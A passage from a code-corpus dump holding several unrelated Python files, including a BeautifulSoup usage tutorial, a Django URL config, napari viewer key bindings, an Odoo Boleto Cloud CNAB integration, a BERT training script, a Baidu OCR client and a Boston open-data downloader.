\n\n\n\"\"\"\n\nsoup = BeautifulSoup(html_doc, features=\"lxml\")\n# 找到第一个a标签\ntag1 = soup.find(name='a')\n# 找到所有的a标签\ntag2 = soup.find_all(name='a')\n# 找到id=link2的标签\ntag3 = soup.select('#link2')\n\n# 1. name,标签名称\ntag = soup.find('a')\nname = tag.name # 获取\nprint(name)\ntag.name = 'span' # 设置\nprint(soup)\n\n# 2. attr,标签属性\ntag = soup.find('a')\nattrs = tag.attrs # 获取\nprint(attrs)\ntag.attrs = {'ik':123} # 设置\ntag.attrs['id'] = 'iiiii' # 设置\nprint(soup)\n\n# 3. children,所有子标签\nbody = soup.find('body')\nv = body.children\n# 4. children,所有子子孙孙标签\nbody = soup.find('body')\nv = body.descendants\n\n# 5. clear,将标签的所有子标签全部清空(保留标签名)\ntag = soup.find('body')\ntag.clear()\nprint(soup)\n\n# 6. decompose,递归的删除所有的标签\ndy = soup.find('body')\nbody.decompose()\nprint(soup)\n\n# 7. extract,递归的删除所有的标签,并获取删除的标签\nbody = soup.find('body')\nv = body.extract()\nprint(soup)\n\n# 8. decode,转换为字符串(含当前标签);decode_contents(不含当前标签)\nbody = soup.find('body')\nv = body.decode()\nv = body.decode_contents()\nprint(v)\n\n# 9. encode,转换为字节(含当前标签);encode_contents(不含当前标签)\nbody = soup.find('body')\nv = body.encode()\nv = body.encode_contents()\nprint(v)\n\n# 10. find,获取匹配的第一个标签\ntag = soup.find('a')\nprint(tag)\ntag = soup.find(name='a', attrs={'class': 'sister'}, recursive=True, text='Lacie')\ntag = soup.find(name='a', class_='sister', recursive=True, text='Lacie')\nprint(tag)\n\n# 11.find_all, 获取匹配的所有标签\ntags = soup.find_all('a')\nprint(tags)\n\ntags = soup.find_all('a',limit=1)\nprint(tags)\n\ntags = soup.find_all(name='a', attrs={'class': 'sister'}, recursive=True, text='Lacie')\ntags = soup.find(name='a', class_='sister', recursive=True, text='Lacie')\nprint(tags)\n\n# ####### 列表 #######\nv = soup.find_all(name=['a','div'])\nprint(v)\n\nv = soup.find_all(class_=['sister0', 'sister'])\nprint(v)\n\nv = soup.find_all(text=['Tillie'])\nprint(v, type(v[0]))\n\nv = soup.find_all(id=['link1','link2'])\nprint(v)\n\nv = soup.find_all(href=['link1','link2'])\nprint(v)\n\n# ####### 正则 #######\nimport re\nrep = re.compile('p')\nrep = re.compile('^p')\nv = soup.find_all(name=rep)\nprint(v)\n\nrep = re.compile('sister.*')\nv = soup.find_all(class_=rep)\nprint(v)\n\nrep = re.compile('http://www.oldboy.com/static/.*')\nv = soup.find_all(href=rep)\nprint(v)\n\n# ####### 方法筛选 #######\ndef func(tag):\n#return tag.has_attr('class') and tag.has_attr('id')\n v = soup.find_all(name=func)\n print(v)\n\n# ## get,获取标签属性\ntag = soup.find('a')\nv = tag.get('id')\nprint(v)\n\n# 12.has_attr, 检查标签是否具有该属性\ntag = soup.find('a')\nv = tag.has_attr('id')\nprint(v)\n\n# 13.get_text, 获取标签内部文本内容\ntag = soup.find('a')\nv = tag.get_text('id')\nprint(v)\n\n# 14.index, 检查标签在某标签中的索引位置\ntag = soup.find('body')\nv = tag.index(tag.find('div'))\nprint(v)\n\ntag = soup.find('body')\nfor i,v in enumerate(tag):\n print(i,v)\n\n# 15.is_empty_element, 是否是空标签(是否可以是空)或者自闭合标签,判断是否是如下标签:'br', 'hr', 'input', 'img', 'meta', 'spacer', 'link', 'frame', 'base'\ntag = soup.find('br')\nv = tag.is_empty_element\nprint(v)\n\n# 16.当前的关联标签\nsoup.next\nsoup.next_element\nsoup.next_elements\nsoup.next_sibling\nsoup.next_siblings\n\ntag.previous\ntag.previous_element\ntag.previous_elements\ntag.previous_sibling\ntag.previous_siblings\n\ntag.parent\ntag.parents\n\n# 17.查找某标签的关联标签\ntag.find_next(...)\ntag.find_all_next(...)\ntag.find_next_sibling(...)\ntag.find_next_siblings(...)\n\ntag.find_previous(...)\ntag.find_all_previous(...)\ntag.find_previous_sibling(...)\ntag.find_previous_siblings(...)\n\ntag.find_parent(...)\ntag.find_parents(...)\n\n# 参数同find_all\n# 18.select, select_one, CSS选择器\nsoup.select(\"title\")\n\nsoup.select(\"p nth-of-type(3)\")\n\nsoup.select(\"body a\")\n\nsoup.select(\"html head title\")\n\ntag = soup.select(\"span,a\")\n\nsoup.select(\"head > title\")\n\nsoup.select(\"p > a\")\n\nsoup.select(\"p > a:nth-of-type(2)\")\n\nsoup.select(\"p > #link1\")\n\nsoup.select(\"body > a\")\n\nsoup.select(\"#link1 ~ .sister\")\n\nsoup.select(\"#link1 + .sister\")\n\nsoup.select(\".sister\")\n\nsoup.select(\"[class~=sister]\")\n\nsoup.select(\"#link1\")\n\nsoup.select(\"a#link2\")\n\nsoup.select('a[href]')\n\nsoup.select('a[href=\"http://example.com/elsie\"]')\n\nsoup.select('a[href^=\"http://example.com/\"]')\n\nsoup.select('a[href$=\"tillie\"]')\n\nsoup.select('a[href*=\".com/el\"]')\n\nfrom bs4.element import Tag\ndef default_candidate_generator(tag):\n for child in tag.descendants:\n if not isinstance(child, Tag):\n continue\n if not child.has_attr('href'):\n continue\n yield child\n\ntags = soup.find('body').select(\"a\", _candidate_generator=default_candidate_generator)\nprint(type(tags), tags)\n\nfrom bs4.element import Tag\ndef default_candidate_generator(tag):\n for child in tag.descendants:\n if not isinstance(child, Tag):\n continue\n if not child.has_attr('href'):\n continue\n yield child\n\ntags = soup.find('body').select(\"a\", _candidate_generator=default_candidate_generator, limit=1)\nprint(type(tags), tags)\n\n# 19.标签的内容\ntag = soup.find('span')\nprint(tag.string) # 获取\ntag.string = 'new content' # 设置\nprint(soup)\n\ntag = soup.find('body')\nprint(tag.string)\ntag.string = 'xxx'\nprint(soup)\n\ntag = soup.find('body')\nv = tag.stripped_strings # 递归内部获取所有标签的文本\nprint(v)\n\n# 20.append在当前标签内部追加一个标签\ntag = soup.find('body')\ntag.append(soup.find('a'))\nprint(soup)\n\nfrom bs4.element import Tag\nobj = Tag(name='i',attrs={'id': 'it'})\nobj.string = '我是一个新来的'\ntag = soup.find('body')\ntag.append(obj)\nprint(soup)\n\n# 21.insert在当前标签内部指定位置插入一个标签\nfrom bs4.element import Tag\nobj = Tag(name='i', attrs={'id': 'it'})\nobj.string = '我是一个新来的'\ntag = soup.find('body')\ntag.insert(2, obj)\nprint(soup)\n\n# 22.insert_after, insert_before在当前标签后面或前面插入\nfrom bs4.element import Tag\nobj = Tag(name='i', attrs={'id': 'it'})\nobj.string = '我是一个新来的'\ntag = soup.find('body')\n# tag.insert_before(obj)\ntag.insert_after(obj)\nprint(soup)\n\n# 23.replace_with在当前标签替换为指定标签\nfrom bs4.element import Tag\nobj = Tag(name='i', attrs={'id': 'it'})\nobj.string = '我是一个新来的'\ntag = soup.find('div')\ntag.replace_with(obj)\nprint(soup)\n\n# 24.创建标签之间的关系\ntag = soup.find('div')\na = soup.find('a')\ntag.setup(previous_sibling=a)\nprint(tag.previous_sibling)\n\n# 25.wrap,将指定标签把当前标签包裹起来\nfrom bs4.element import Tag\nobj1 = Tag(name='div', attrs={'id': 'it'})\nobj1.string = '我是一个新来的'\n\ntag = soup.find('a')\nv = tag.wrap(obj1)\nprint(soup)\n\ntag = soup.find('a')\nv = tag.wrap(soup.find('p'))\nprint(soup)\n\n# 26.unwrap,去掉当前标签,将保留其包裹的标签\ntag = soup.find('a')\nv = tag.unwrap()\nprint(soup)","sub_path":"spyder/spyder/BeautifulSoup.py","file_name":"BeautifulSoup.py","file_ext":"py","file_size_in_byte":7750,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"392919227","text":"# -*- coding: utf-8 -*-\r\nfrom django.http import HttpResponsePermanentRedirect\r\nfrom django.conf.urls import patterns, include, url\r\nfrom django.conf import settings\r\nfrom django.views.generic.base import TemplateView\r\n\r\n# Uncomment the next two lines to enable the admin:\r\nfrom django.contrib import admin\r\nadmin.autodiscover()\r\n\r\nfrom contents import views\r\nfrom contents.sitemap import *\r\n\r\n\r\nsitemaps = {\r\n 'index': MainSitemap,\r\n 'project': ProjectSitemap,\r\n 'service': ServiceSitemap,\r\n 'other': OtherSitemap,\r\n}\r\n\r\nhandler404 = views.tpl404\r\n\r\nurlpatterns = patterns('',\r\n # Examples:\r\n # url(r'^$', 'myproject.views.home', name='home'),\r\n url(r'^$', views.index, name='index'),\r\n url(r'^contact/$', views.contact, name='contact'),\r\n url(r'^services/$', views.services, name='services'),\r\n (r'^service_details/4/$', lambda request: HttpResponsePermanentRedirect('/service_details/3d-mapping-shou/')),\r\n (r'^service_details/7/$', lambda request: HttpResponsePermanentRedirect('/service_details/interaktivnye-sistemy/')),\r\n (r'^service_details/6/$', lambda request: HttpResponsePermanentRedirect('/service_details/izgotovlenie-videorolikov/')),\r\n url(r'^service_details/(?P\\S+)/$', views.service_details, name='service_details'),\r\n url(r'^projects/$', views.projects, name='projects'),\r\n url(r'^sitemap/$', views.sitemap),\r\n url(r'^order/$', views.order),\r\n url(r'^callback/$', views.callback),\r\n url(r'^project_details/(?P\\d+)/$', views.project_details, name='project_details'),\r\n (r'^sitemap\\.xml$', 'django.contrib.sitemaps.views.sitemap', {'sitemaps': sitemaps}),\r\n url(r'^robots\\.txt$', TemplateView.as_view(template_name='robots.txt', content_type='text/plain')),\r\n url(r'^yandex_72fb362f4e1186ce\\.txt$', TemplateView.as_view(template_name='yandex_72fb362f4e1186ce.txt', content_type='text/plain')),\r\n\r\n # Uncomment the admin/doc line below to enable admin documentation:\r\n url(r'^admin/doc/', include('django.contrib.admindocs.urls')),\r\n\r\n # Uncomment the next line to enable the admin:\r\n url(r'^admin/', include(admin.site.urls)),\r\n \r\n)\r\n\r\nif settings.DEBUG:\r\n # static files (images, css, javascript, etc.)\r\n urlpatterns += patterns('',\r\n (r'^media/(?P.*)$', 'django.views.static.serve', {\r\n 'document_root': settings.MEDIA_ROOT}))\r\n\r\n#if settings.DEBUG:\r\n #urlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)","sub_path":"myproject/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":2501,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"227832075","text":"from __future__ import annotations\n\nfrom typing import TYPE_CHECKING\n\nfrom ..settings import get_settings\nfrom ..utils.action_manager import action_manager\nfrom ..utils.theme import available_themes\nfrom ..utils.translations import trans\nfrom .viewer_model import ViewerModel\n\nif TYPE_CHECKING:\n from ..viewer import Viewer\n\n\ndef register_viewer_action(description):\n \"\"\"\n Convenient decorator to register an action with the current ViewerModel\n\n It will use the function name as the action name. We force the description\n to be given instead of function docstring for translation purpose.\n \"\"\"\n\n def _inner(func):\n action_manager.register_action(\n name=f'napari:{func.__name__}',\n command=func,\n description=description,\n keymapprovider=ViewerModel,\n )\n return func\n\n return _inner\n\n\n@register_viewer_action(trans._(\"Reset scroll.\"))\ndef reset_scroll_progress(viewer: Viewer):\n\n # on key press\n viewer.dims._scroll_progress = 0\n yield\n\n # on key release\n viewer.dims._scroll_progress = 0\n\n\nreset_scroll_progress.__doc__ = trans._(\"Reset dims scroll progress\")\n\n\n@register_viewer_action(trans._(\"Toggle ndisplay.\"))\ndef toggle_ndisplay(viewer: Viewer):\n viewer.dims.ndisplay = 2 + (viewer.dims.ndisplay == 2)\n\n\n# Making this an action makes vispy really unhappy during the tests\n# on mac only with:\n# ```\n# RuntimeError: wrapped C/C++ object of type CanvasBackendDesktop has been deleted\n# ```\n@register_viewer_action(trans._(\"Toggle theme.\"))\ndef toggle_theme(viewer: Viewer):\n \"\"\"Toggle theme for viewer\"\"\"\n settings = get_settings()\n themes = available_themes()\n current_theme = settings.appearance.theme\n idx = themes.index(current_theme)\n idx += 1\n if idx == len(themes):\n idx = 0\n\n settings.appearance.theme = themes[idx]\n\n\n@register_viewer_action(trans._(\"Reset view to original state.\"))\ndef reset_view(viewer: Viewer):\n viewer.reset_view()\n\n\n@register_viewer_action(trans._(\"Increment dimensions slider to the left.\"))\ndef increment_dims_left(viewer: Viewer):\n viewer.dims._increment_dims_left()\n\n\n@register_viewer_action(trans._(\"Increment dimensions slider to the right.\"))\ndef increment_dims_right(viewer: Viewer):\n viewer.dims._increment_dims_right()\n\n\n@register_viewer_action(trans._(\"Move focus of dimensions slider up.\"))\ndef focus_axes_up(viewer: Viewer):\n viewer.dims._focus_up()\n\n\n@register_viewer_action(trans._(\"Move focus of dimensions slider down.\"))\ndef focus_axes_down(viewer: Viewer):\n viewer.dims._focus_down()\n\n\n@register_viewer_action(\n trans._(\"Change order of the visible axes, e.g. [0, 1, 2] -> [2, 0, 1].\"),\n)\ndef roll_axes(viewer: Viewer):\n viewer.dims._roll()\n\n\n@register_viewer_action(\n trans._(\n \"Transpose order of the last two visible axes, e.g. [0, 1] -> [1, 0].\"\n ),\n)\ndef transpose_axes(viewer: Viewer):\n viewer.dims.transpose()\n\n\n@register_viewer_action(trans._(\"Toggle grid mode.\"))\ndef toggle_grid(viewer: Viewer):\n viewer.grid.enabled = not viewer.grid.enabled\n\n\n@register_viewer_action(trans._(\"Toggle visibility of selected layers\"))\ndef toggle_selected_visibility(viewer: Viewer):\n viewer.layers.toggle_selected_visibility()\n\n\n@register_viewer_action(\n trans._(\n \"Show/Hide IPython console (only available when napari started as standalone application)\"\n )\n)\ndef toggle_console_visibility(viewer: Viewer):\n viewer.window._qt_viewer.toggle_console_visibility()\n","sub_path":"napari/components/_viewer_key_bindings.py","file_name":"_viewer_key_bindings.py","file_ext":"py","file_size_in_byte":3506,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"519713033","text":"import requests\nimport base64\nfrom datetime import datetime\nfrom odoo import fields, models\nfrom odoo.exceptions import UserError\n\n\nclass BoletoCloud(models.Model):\n _inherit = \"payment.acquirer\"\n\n provider = fields.Selection(selection_add=[(\"boleto.cloud\", \"Boleto Cloud\")])\n\n\nclass PaymentTransaction(models.Model):\n _inherit = 'payment.transaction'\n\n boleto_pdf = fields.Binary(string=\"Boleto PDF\")\n boleto_pdf_name = fields.Char(string=\"Nome Boleto\")\n\n def _find_attachment_ids_email(self):\n atts = super(PaymentTransaction, self)._find_attachment_ids_email()\n\n attachment_obj = self.env['ir.attachment']\n for transaction in self:\n\n if transaction.boleto_pdf:\n pdf_id = attachment_obj.create(dict(\n name=transaction.boleto_pdf_name,\n datas=transaction.boleto_pdf,\n mimetype='application/pdf',\n res_model='account.move',\n res_id=transaction.invoice_ids[0].id,\n ))\n atts.append(pdf_id.id)\n\n return atts\n\n\nclass CnabRemessa(models.Model):\n _name = 'cnab.remessa'\n _description = \"Remessa de CNAB\"\n _order = 'id desc'\n\n def _default_company(self):\n return self.env.company\n\n def _default_user(self):\n return self.env.user\n\n def _default_journal(self):\n journal = self.env['account.journal'].search([('use_boleto_cloud', '=', True)], limit=1)\n return journal\n\n name = fields.Char(max_length=30, string=\"Nome\", required=True, default='/')\n company_id = fields.Many2one('res.company', string='Company', default=_default_company)\n user_id = fields.Many2one('res.users', string='Responsável', default=_default_user)\n journal_id = fields.Many2one('account.journal', string=\"Diário\", default=_default_journal)\n\n cnab_file = fields.Binary('CNAB File', readonly=True)\n cnab_file_name = fields.Binary('CNAB Name', readonly=True)\n data_emissao_cnab = fields.Datetime('Data de Emissão do CNAB', readonly=True)\n cnab_location = fields.Char()\n state = fields.Selection([('draft', 'Provisorio'), ('done', 'Pronto')], default='draft')\n\n def action_get_remessa(self):\n if self.state == 'done':\n raise UserError('Não é possível gerar o arquivo novamente!')\n acquirer = self.env['payment.acquirer'].search([('provider', '=', 'boleto.cloud')])\n if acquirer.state == 'enabled':\n url = 'https://app.boletocloud.com/api/v1/arquivos/cnab/remessas'\n else:\n url = 'https://sandbox.boletocloud.com/api/v1/arquivos/cnab/remessas'\n api_token = self.company_id.boleto_cloud_api_token\n data = {\n 'remessa.conta.token': self.journal_id.boleto_cloud_bank_account_api_key,\n }\n response = requests.post(url, data=data, auth=(api_token, 'token'))\n\n if response.status_code == 204:\n raise UserError('Não há remessas CNAB a serem geradas.')\n elif response.status_code == 201:\n arquivo = base64.b64encode(response.content)\n remessa = self.write({\n 'cnab_file': arquivo,\n 'data_emissao_cnab': datetime.now(),\n 'cnab_location': response.headers['Location'],\n 'name': response.headers['Content-Disposition'].split('=')[1],\n 'state': 'done',\n })\n else:\n jsonp = response.json()\n message = '\\n'.join([x['mensagem'] for x in jsonp['erro']['causas']])\n raise UserError('Houve um erro com a API do Boleto Cloud:\\n%s' % message)\n return remessa\n\n\nclass WizardImportCnabRetorno(models.TransientModel):\n _name = 'wizard.import.cnab.retorno'\n\n def _default_journal(self):\n journal = self.env['account.journal'].search([('use_boleto_cloud', '=', True)], limit=1)\n return journal\n\n cnab_file = fields.Binary('Arquivo CNAB')\n journal_id = fields.Many2one('account.journal', string='Diário', default=_default_journal)\n\n def action_import_cnab_file(self):\n if not self.cnab_file:\n raise UserError('Arquivo CNAB não definido.')\n if not (self.journal_id or self.journal_id.use_boleto_cloud):\n raise UserError('Diário não definido ou não configurado para usar o Boleto Cloud.')\n\n acquirer = self.env['payment.acquirer'].search([('provider', '=', 'boleto.cloud')])\n if acquirer.state == 'enabled':\n url = 'https://app.boletocloud.com/api/v1/arquivos/cnab/retornos'\n else:\n url = 'https://sandbox.boletocloud.com/api/v1/arquivos/cnab/retornos'\n api_token = self.env.company.boleto_cloud_api_token\n\n data = {'arquivo': base64.b64decode(self.cnab_file)}\n response = requests.post(url, files=data, auth=(api_token, 'token'))\n\n if response.status_code == 400:\n jsonp = response.json()\n message = '\\n'.join([x['mensagem'] for x in jsonp['erro']['causas']])\n raise UserError('Houve um erro com a API do Boleto Cloud:\\n%s' % message)\n\n last_statement = self.env['account.bank.statement'].search([], order='id desc', limit=1)\n\n statement = self.env['account.bank.statement'].create({\n 'name': response['arquivo']['protocolo']['numero'],\n 'journal_id': self.journal_id.id,\n 'date': datetime.now().date(),\n 'balance_start_real': last_statement.balance_end_real,\n 'balance_end_real': last_statement.balance_end_real + last_statement.total_entry_encoding,\n })\n\n for titulo in response['arquivo']['titulos']:\n transaction = self.env['payment.transaction'].search([('acquirer_reference', '=', titulo['token'])])\n self.env['account.bank.statement.line'].create({\n 'bank_statement_id': statement.id,\n 'date': datetime.strptime(titulo['vencimento'], '%Y-%m-%d'),\n 'name': titulo['numero'],\n 'partner_id': transaction.partner_id.id,\n 'ref': titulo['token'],\n 'amount': titulo['valor'],\n })\n","sub_path":"boleto_cloud/models/boleto_cloud.py","file_name":"boleto_cloud.py","file_ext":"py","file_size_in_byte":6152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"444591378","text":"from processor import Majority_OneSentence_Processor\nfrom Trainer import Trainer\nimport os\nmodel_dir = 'result/'\nclass Args(object):\n pass\nargs = Args()\n\nargs.bert_model = 'bert-base-uncased'\nargs.do_lower_case = True\nargs.warmup_proportion = 0.1\nargs.cache_dir = \"./cache\"\nargs.no_cuda = False\nargs.local_rank = -1\nargs.fp16 = False\nargs.loss_scale = 0\nargs.gradient_accumulation_steps = 1\nargs.server_ip = ''\nargs.server_port = ''\nargs.output_mode = \"classification\"\nargs.save_model_steps = 2000\nargs.resume_epochs = 0\nargs.resume_steps = 0\n\n# Important configurations\nargs.data_dir = 'dataset/preprocessed/'\nargs.train_file = 'train.json'\nargs.dev_file = 'dev.json'\nargs.train_batch_size = 32\nargs.eval_batch_size = 32\nargs.do_train = True\nargs.do_eval = False\nargs.do_run = False\nargs.num_train_epochs = 8.0\nargs.max_seq_length = 256\nargs.processor = Majority_OneSentence_Processor\nargs.output_dir = os.path.join(model_dir, 'friends_majority')\nargs.resume_dir = None\n\nargs.learning_rate = 1e-5\nargs.seed = 1991\n\ntrainer = Trainer(args)\ntrainer.execute()\n\n","sub_path":"friends_majority.py","file_name":"friends_majority.py","file_ext":"py","file_size_in_byte":1062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"353083713","text":"__author__ = 'JRR / JJB'\n\n# CONSTANTS\n\n# VARIABLES\n\n# FUNCTIONS\n\n\nclass Runways:\n def __init__(self, common_name):\n self.runway_common_name = common_name\n self.x_pos = 1000\n self.y_pos = 1000\n self.z_pos = 1000\n self.dir = 0\n self.max_land_speed = 120\n\n def return_runway_specifications(self):\n runway_statistics = (self.runway_common_name, self.x_pos, self.y_pos, self.z_pos, self.dir, self.max_land_speed)\n return runway_statistics\n\n\nclass Aircraft:\n def __init__(self, aircraft_callsign):\n self.aircraft_callsign = aircraft_callsign\n self.x_pos = 2000\n self.y_pos = 2000\n self.z_pos = 30000\n self.dir = 180\n self.speed = 270\n\n def return_aircraft_statistics(self):\n aircraft_statistics = (self.aircraft_callsign, self.x_pos, self.y_pos, self.z_pos, self.dir, self.speed)\n return aircraft_statistics\n\n\n# this method should be in class.\ndef calc_position(aircraft_stats):\n # use basic trig to calc new end position.\n print(aircraft_stats[0])\n print(aircraft_stats[1])\n print(aircraft_stats[2])\n print(aircraft_stats[3])\n print(aircraft_stats[4])\n\n# STATEMENTS\n# create an airfield using default settings\nrunway_1 = Runways(\"LAX 320\")\nprint(runway_1.return_runway_specifications())\n\naircraft_1 = Aircraft(\"VH1234\")\nprint(aircraft_1.return_aircraft_statistics())\nend_game = 999\n\nmovement = 0\nmovement_input = 0\n\n\nwhile movement_input != end_game:\n try:\n movement_input = input(\"Bearing, Speed: \")\n movement = movement_input\n calc_position([aircraft_1.aircraft_callsign, movement, 0, 0, 0])\n except SyntaxError:\n movement_input = movement\n print(\"no change in direction\")\n calc_position([aircraft_1.aircraft_callsign, movement, 0, 0, 0])\n if movement == 999:\n quit()\n","sub_path":"index.py","file_name":"index.py","file_ext":"py","file_size_in_byte":1865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"24501985","text":"# coding=utf-8\n\nimport sys\nimport json\nimport base64\n\n\n# 保证兼容python2以及python3\nIS_PY3 = sys.version_info.major == 3\nif IS_PY3:\n from urllib.request import urlopen\n from urllib.request import Request\n from urllib.error import URLError\n from urllib.parse import urlencode\n from urllib.parse import quote_plus\nelse:\n import urllib2\n from urllib import quote_plus\n from urllib2 import urlopen\n from urllib2 import Request\n from urllib2 import URLError\n from urllib import urlencode\n\n# 防止https证书校验不正确\nimport ssl\nssl._create_default_https_context = ssl._create_unverified_context\n\n\n\nOCR_URL = \"https://aip.baidubce.com/rest/2.0/ocr/v1/accurate_basic\"\n\n#OCR_URL=\"https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic\"\n#OCR_URL=\"https://aip.baidubce.com/rest/2.0/ocr/v1/accurate\"\n#OCR_URL=\"https://aip.baidubce.com/rest/2.0/solution/v1/form_ocr/request\"\n\"\"\" TOKEN start \"\"\"\nTOKEN_URL = 'https://aip.baidubce.com/oauth/2.0/token'\n\n\n\"\"\"\n 获取token\n\"\"\"\ndef fetch_token():\n from configparser import ConfigParser\n\n config_parser =ConfigParser()\n config_parser.read('config.cfg')\n config=config_parser['default']\n\n API_KEY = config['API_KEY']\n SECRET_KEY = config['SECRET_KEY']\n\n params = {'grant_type': 'client_credentials',\n 'client_id': API_KEY,\n 'client_secret': SECRET_KEY}\n post_data = urlencode(params)\n if (IS_PY3):\n post_data = post_data.encode('utf-8')\n req = Request(TOKEN_URL, post_data)\n try:\n f = urlopen(req, timeout=5)\n result_str = f.read()\n except URLError as err:\n print(err)\n if (IS_PY3):\n result_str = result_str.decode()\n\n\n result = json.loads(result_str)\n\n if ('access_token' in result.keys() and 'scope' in result.keys()):\n if not 'brain_all_scope' in result['scope'].split(' '):\n print ('please ensure has check the ability')\n exit()\n return result['access_token']\n else:\n print ('please overwrite the correct API_KEY and SECRET_KEY')\n exit()\n\n\"\"\"\n 读取文件\n\"\"\"\ndef read_file(image_path):\n f = None\n try:\n f = open(image_path, 'rb')\n return f.read()\n except:\n print('read image file fail')\n return None\n finally:\n if f:\n f.close()\n\n\n\"\"\"\n 调用远程服务\n\"\"\"\ndef request(url, data):\n req = Request(url, data.encode('utf-8'))\n has_error = False\n try:\n f = urlopen(req)\n result_str = f.read()\n if (IS_PY3):\n result_str = result_str.decode()\n return result_str\n except URLError as err:\n print(err)\ndef doWork(image_url,imagepath):\n \n text = ''\n\n # 读取书籍页面图片\n file_content = read_file(imagepath)\n\n # 调用文字识别服务\n result = request(image_url, urlencode({'image': base64.b64encode(file_content)}))\n\n # 解析返回结果\n result_json = json.loads(result)\n \n for words_result in result_json[\"words_result\"]:\n text = text + words_result[\"words\"]\n\n # 打印文字\n print(text)\n return text\n# 获取access token\ntoken = fetch_token()\n\n\n# 拼接通用文字识别高精度url\nimage_url = OCR_URL + \"?access_token=\" + token\ndef doOCR(imagePath): \n return doWork(image_url,imagePath)\n\ndef allTest(): \n doWork(image_url,'1.png')\n doWork(image_url,'2.png')\n doWork(image_url,'3.png')\n doWork(image_url,'4.png')\n \nif __name__ == '__main__':\n \n doOCR(r'C:\\Users\\share\\Desktop\\Lee\\49.pdfout\\pdf2png0001-2_cvtable1.png')\n","sub_path":"baidu.py","file_name":"baidu.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"317749565","text":"import urllib.request\nimport json\nimport dml\nimport prov.model\nimport datetime\nimport uuid\n\nclass getData(dml.Algorithm):\n contributor = 'alice_bob'\n reads = []\n writes = ['bsowens_ggelinas.stations',\n 'bsowens_ggelinas.incidents',\n 'bsowens_ggelinas.property',\n 'bsowens_ggelinas.fio',\n 'bsowens_ggelinas.hospitals']\n\n @staticmethod\n def execute(trial = False):\n '''Retrieve locations of BPD district stations'''\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bsowens_ggelinas', 'bsowens_ggelinas')\n\n dataSets = {\n 'stations': 'https://data.cityofboston.gov/resource/pyxn-r3i2.json',\n 'incidents': 'https://data.cityofboston.gov/resource/29yf-ye7n.json',\n 'property':'https://data.cityofboston.gov/resource/g5b5-xrwi.json',\n 'fio':'https://data.cityofboston.gov/resource/2pem-965w.json',\n 'hospitals': 'https://data.cityofboston.gov/resource/u6fv-m8v4.json'\n }\n\n for set in dataSets:\n\n print(\"Downloading dataset: \",set)\n url = dataSets[set]\n response = urllib.request.urlopen(url).read().decode(\"utf-8\")\n r = json.loads(response)\n s = json.dumps(r, sort_keys=True, indent=2)\n repo.dropPermanent(set)\n repo.createPermanent(set)\n repo['bsowens_ggelinas.' + set].insert_many(r)\n print('Done!')\n\n\n repo.logout()\n\n endTime = datetime.datetime.now()\n\n return {\"start:startTime\", \"end:endTime\"}\n\n @staticmethod\n def provenance(doc = prov.model.ProvDocument(), startTime = None, endTime = None):\n '''\n Create the provenance document describing everything happening\n in this script. Each run of the script will generate a new\n document describing that invocation event.\n '''\n\n # Set up the database connection.\n client = dml.pymongo.MongoClient()\n repo = client.repo\n repo.authenticate('bsowens_ggelinas', 'bsowens_ggelinas')\n\n doc.add_namespace('alg', 'http://datamechanics.io/algorithm/bsowens_ggelinas') # The scripts are in # format.\n doc.add_namespace('dat', 'http://datamechanics.io/data/bsowens_ggelinas') # The data sets are in # format.\n doc.add_namespace('ont',\n 'http://datamechanics.io/ontology#') # 'Extension', 'DataResource', 'DataSet', 'Retrieval', 'Query', or 'Computation'.\n doc.add_namespace('log', 'http://datamechanics.io/log/') # The event log.\n doc.add_namespace('bdp', 'https://data.cityofboston.gov/resource/')\n\n this_script = doc.agent('alg:bsowens_ggelinas#getData', {prov.model.PROV_TYPE:prov.model.PROV['SoftwareAgent'], 'ont:Extension':'py'})\n\n stations_info = doc.entity('bdp:pyxn-r3i2', {'prov:label':'District Police Stations', prov.model.PROV_TYPE:'ont:DataResource', 'ont:Extension':'json'})\n stations_getInfo = doc.activity('log:uuid'+str(uuid.uuid4()), startTime, endTime, {'prov:label':'Get District Police Stations Data'})\n doc.wasAssociatedWith(stations_getInfo, this_script)\n doc.usage(\n stations_getInfo,\n stations_info,\n startTime,\n None,\n {prov.model.PROV_TYPE:'ont:Retrieval'}\n )\n\n incidents_info = doc.entity('bdp:29yf-ye7n',\n {'prov:label': 'Crime Incidents Report', prov.model.PROV_TYPE: 'ont:DataResource',\n 'ont:Extension': 'json'})\n incidents_getInfo = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime,\n {'prov:label': 'Get Crime Incidents Report Data'})\n doc.wasAssociatedWith(incidents_getInfo, this_script)\n doc.usage(\n incidents_getInfo,\n incidents_info,\n startTime,\n None,\n {prov.model.PROV_TYPE: 'ont:Retrieval'}\n )\n\n property_info = doc.entity('bdp:g5b5-xrwi',\n {'prov:label': 'Property Assessment 2016', prov.model.PROV_TYPE: 'ont:DataResource',\n 'ont:Extension': 'json'})\n property_getInfo = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime,\n {'prov:label': 'Get Property Assessment 2016 Data'})\n doc.wasAssociatedWith(property_getInfo, this_script)\n doc.usage(\n property_getInfo,\n property_info,\n startTime,\n None,\n {prov.model.PROV_TYPE: 'ont:Retrieval'}\n )\n\n fio_info = doc.entity('bdp:2pem-965w',\n {'prov:label': 'Boston Police Department FIO', prov.model.PROV_TYPE: 'ont:DataResource',\n 'ont:Extension': 'json'})\n fio_getInfo = doc.activity('log:uuid' + str(uuid.uuid4()), startTime, endTime,\n {'prov:label': 'Get Boston Police Department FIO Data'})\n doc.wasAssociatedWith(fio_getInfo, this_script)\n doc.usage(\n fio_getInfo,\n fio_info,\n startTime,\n None,\n {prov.model.PROV_TYPE: 